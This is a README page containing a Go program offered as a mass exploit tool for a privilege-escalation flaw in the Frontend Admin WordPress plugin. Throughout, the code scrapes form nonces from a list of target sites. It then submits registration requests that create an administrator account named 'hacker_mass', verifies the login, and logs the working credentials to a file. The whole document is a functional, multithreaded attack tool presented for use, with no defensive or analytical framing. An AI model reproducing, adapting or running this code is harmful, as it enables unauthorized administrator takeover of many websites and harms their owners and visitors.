README.md
Rendering markdown...
package main
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"regexp"
"strings"
"sync"
"time"
)
var (
banner = `
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14736 - Mass Exploit Tool ║
║ Frontend Admin by DynamiApps Privilege Escalation ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
`
client *http.Client
newUsername = "hacker_mass"
newEmail = "[email protected]"
newPassword = "Password123!"
outputFile = "vulnerable.txt"
mu sync.Mutex
)
var commonPaths = []string{
"/register-page/",
"/register/",
"/sign-up/",
"/my-account/",
"/frontend-dashboard/",
"/",
}
var nonceRegex = regexp.MustCompile(`name=["']_acf_nonce["']\s+value=["']([a-zA-Z0-9]+)["']|value=["']([a-zA-Z0-9]+)["']\s+name=["']_acf_nonce["']`)
var formIDRegex = regexp.MustCompile(`name=["']_acf_form["']\s+value=["']([a-zA-Z0-9]+)["']|value=["']([a-zA-Z0-9]+)["']\s+name=["']_acf_form["']`)
var fieldKeyRegex = regexp.MustCompile(`name=["']acff\[user\]\[(field_[a-z0-9_]+)\]["']`)
func init() {
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
}
func main() {
listFile := flag.String("l", "list.txt", "List of target URLs file")
threads := flag.Int("t", 10, "Number of concurrent threads")
timeout := flag.Int("timeout", 15, "Request timeout in seconds")
flag.Parse()
fmt.Print(banner)
client = &http.Client{
Timeout: time.Duration(*timeout) * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
targets, err := readLines(*listFile)
if err != nil {
fmt.Printf("[-] Error reading list file: %v\n", err)
return
}
fmt.Printf("[*] Loaded %d targets. Starting scan with %d threads...\n", len(targets), *threads)
jobs := make(chan string, len(targets))
var wg sync.WaitGroup
for w := 0; w < *threads; w++ {
wg.Add(1)
go worker(w, jobs, &wg)
}
for _, target := range targets {
jobs <- target
}
close(jobs)
wg.Wait()
fmt.Println("\n[*] Scan complete.")
}
func worker(id int, jobs <-chan string, wg *sync.WaitGroup) {
defer wg.Done()
for target := range jobs {
processTarget(target)
}
}
func processTarget(rawURL string) {
targetURL := normalizeURL(rawURL)
if targetURL == "" {
return
}
nonce, formID, regPage, fields := findForm(targetURL)
if nonce == "" || formID == "" {
fmt.Printf("[-] %s : Nonce or Form ID not found.\n", targetURL)
return
}
if exploit(targetURL, regPage, nonce, formID, fields) {
successMsg := fmt.Sprintf("[SUCCESS] %s | User: %s | Pass: %s | FormID: %s", targetURL, newUsername, newPassword, formID)
fmt.Printf("\n%s\n", successMsg)
logSuccess(successMsg)
} else {
}
}
func findForm(baseURL string) (string, string, string, map[string]string) {
for _, path := range commonPaths {
fullURL := strings.TrimRight(baseURL, "/") + path
req, _ := http.NewRequest("GET", fullURL, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
resp, err := client.Do(req)
if err != nil {
continue
}
defer resp.Body.Close()
bodyBytes, _ := ioutil.ReadAll(resp.Body)
body := string(bodyBytes)
nonce := extractRegex(body, nonceRegex)
formID := extractRegex(body, formIDRegex)
if nonce != "" && formID != "" {
fields := extractFields(body)
return nonce, formID, fullURL, fields
}
}
return "", "", "", nil
}
func exploit(targetURL, referer, nonce, formID string, existingFields map[string]string) bool {
ajaxURL := strings.TrimRight(targetURL, "/") + "/wp-admin/admin-ajax.php"
data := url.Values{}
data.Set("action", "frontend_admin/form_submit")
data.Set("_acf_screen", "fea_form")
data.Set("_acf_nonce", nonce)
data.Set("_acf_form", formID)
userKey := fmt.Sprintf("field_username_%s", formID)
emailKey := fmt.Sprintf("field_user_email_%s", formID)
passKey := fmt.Sprintf("field_user_password_%s", formID)
roleKey := fmt.Sprintf("field_user_role_%s", formID)
data.Set(fmt.Sprintf("acff[user][%s]", userKey), newUsername)
data.Set(fmt.Sprintf("acff[user][%s]", emailKey), newEmail)
data.Set(fmt.Sprintf("acff[user][%s]", passKey), newPassword)
data.Set(fmt.Sprintf("acff[user][%s]", roleKey), "administrator")
req, _ := http.NewRequest("POST", ajaxURL, strings.NewReader(data.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
req.Header.Set("Referer", referer)
resp, err := client.Do(req)
if err != nil {
return false
}
defer resp.Body.Close()
if resp.StatusCode == 200 {
if verifyLogin(targetURL) {
return true
}
}
return false
}
func verifyLogin(baseURL string) bool {
loginURL := strings.TrimRight(baseURL, "/") + "/wp-login.php"
data := url.Values{}
data.Set("log", newUsername)
data.Set("pwd", newPassword)
data.Set("wp-submit", "Log In")
data.Set("testcookie", "1")
req, _ := http.NewRequest("POST", loginURL, strings.NewReader(data.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(req)
if err != nil {
return false
}
defer resp.Body.Close()
for _, cookie := range resp.Cookies() {
if strings.Contains(cookie.Name, "wordpress_logged_in") {
return true
}
}
return false
}
func normalizeURL(raw string) string {
raw = strings.TrimSpace(raw)
if raw == "" {
return ""
}
if !strings.HasPrefix(raw, "http") {
raw = "http://" + raw
}
u, err := url.Parse(raw)
if err != nil {
return ""
}
return fmt.Sprintf("%s://%s%s", u.Scheme, u.Host, strings.TrimRight(u.Path, "/"))
}
func readLines(path string) ([]string, error) {
file, err := os.Open(path)
if err != nil {
return nil, err
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines, scanner.Err()
}
func extractRegex(content string, r *regexp.Regexp) string {
matches := r.FindStringSubmatch(content)
if len(matches) > 1 {
return matches[1]
}
return ""
}
func extractFields(content string) map[string]string {
out := make(map[string]string)
matches := fieldKeyRegex.FindAllStringSubmatch(content, -1)
for _, m := range matches {
if len(m) > 1 {
out[m[1]] = m[1]
}
}
return out
}
func logSuccess(msg string) {
mu.Lock()
defer mu.Unlock()
f, err := os.OpenFile(outputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return
}
defer f.Close()
f.WriteString(msg + "\n")
}